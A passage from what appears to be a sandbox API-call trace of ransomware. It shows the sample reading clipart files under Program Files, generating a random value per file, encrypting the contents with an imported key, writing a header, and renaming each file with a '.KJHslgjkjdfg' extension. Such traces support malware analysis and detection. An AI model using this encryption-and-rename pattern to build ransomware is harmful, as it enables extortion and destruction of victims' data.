pdwDataLen=0x290f258*=0x40) returned 1 [0188.406] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.406] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.406] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.406] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.406] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.406] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.407] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.407] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.407] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.407] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.407] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x48fc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x48fc, lpOverlapped=0x0) returned 1 [0188.408] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4900, dwBufLen=0x4900 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4900) returned 1 [0188.408] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.408] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4900, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4900, lpOverlapped=0x0) returned 1 [0188.408] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.408] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x49d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.408] SetEndOfFile (hFile=0x114) returned 1 [0188.410] GetProcessHeap () returned 0x2a0000 [0188.410] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.410] GetProcessHeap () returned 0x2a0000 [0188.410] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.410] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp.kjhslgjkjdfg")) returned 1 [0188.412] CloseHandle (hObject=0x114) returned 1 [0188.412] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7a0bb00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7a0bb00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02503U.BMP", cAlternateFileName="")) returned 1 [0188.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.414] GetProcessHeap () returned 0x2a0000 [0188.414] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.414] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.414] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.414] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.414] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.414] GetProcessHeap () returned 0x2a0000 [0188.414] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.414] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.414] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.414] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.416] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.416] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.416] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.416] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.417] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.417] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.417] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.417] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.417] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.418] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0, dwBufLen=0x7ce0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7ce0) returned 1 [0188.418] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.418] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7ce0, lpOverlapped=0x0) returned 1 [0188.418] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.418] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7db4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.419] SetEndOfFile (hFile=0x114) returned 1 [0188.421] GetProcessHeap () returned 0x2a0000 [0188.421] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.421] GetProcessHeap () returned 0x2a0000 [0188.421] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp.kjhslgjkjdfg")) returned 1 [0188.423] CloseHandle (hObject=0x114) returned 1 [0188.423] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83b1e300, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x83b1e300, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x8499, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02567J.JPG", cAlternateFileName="")) returned 1 [0188.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.424] GetProcessHeap () returned 0x2a0000 [0188.424] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.424] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.424] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.424] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x7, lpOverlapped=0x0) returned 1 [0188.426] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.426] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.426] GetProcessHeap () returned 0x2a0000 [0188.426] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.426] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.426] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.426] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.426] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.427] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.427] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.427] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.427] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.427] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.427] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.427] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.427] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8499, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8499, lpOverlapped=0x0) returned 1 [0188.429] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x84a0, dwBufLen=0x84a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x84a0) returned 1 [0188.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.430] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x84a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x84a0, lpOverlapped=0x0) returned 1 [0188.430] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.430] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.430] SetEndOfFile (hFile=0x114) returned 1 [0188.433] GetProcessHeap () returned 0x2a0000 [0188.433] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.433] GetProcessHeap () returned 0x2a0000 [0188.433] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.433] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg.kjhslgjkjdfg")) returned 1 [0188.435] CloseHandle (hObject=0x114) returned 1 [0188.435] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd929e00, ftCreationTime.dwHighDateTime=0x1bd4e4b, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd929e00, ftLastWriteTime.dwHighDateTime=0x1bd4e4b, nFileSizeHigh=0x0, nFileSizeLow=0x639b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02736G.GIF", cAlternateFileName="")) returned 1 [0188.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.436] GetProcessHeap () returned 0x2a0000 [0188.436] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.437] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.437] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.437] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0188.439] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.439] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.440] GetProcessHeap () returned 0x2a0000 [0188.440] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.440] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.440] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.440] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.440] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.440] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.440] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.440] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.440] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.440] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.440] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.440] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.441] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x639b, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x639b, lpOverlapped=0x0) returned 1 [0188.442] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x63a0, dwBufLen=0x63a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x63a0) returned 1 [0188.442] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.442] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x63a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x63a0, lpOverlapped=0x0) returned 1 [0188.443] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.443] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.443] SetEndOfFile (hFile=0x114) returned 1 [0188.446] GetProcessHeap () returned 0x2a0000 [0188.446] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0188.446] GetProcessHeap () returned 0x2a0000 [0188.446] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0188.446] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif.kjhslgjkjdfg")) returned 1 [0188.448] CloseHandle (hObject=0x114) returned 1 [0188.448] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924cca00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6ce95a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x924cca00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x7e90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02736U.BMP", cAlternateFileName="")) returned 1 [0188.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.450] GetProcessHeap () returned 0x2a0000 [0188.450] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0188.450] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0188.450] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0188.450] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.450] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.450] GetProcessHeap () returned 0x2a0000 [0188.450] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0188.450] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0188.450] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0188.450] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0188.453] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0188.453] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0188.453] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0188.453] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0188.453] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0188.453] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0188.453] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0188.453] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, 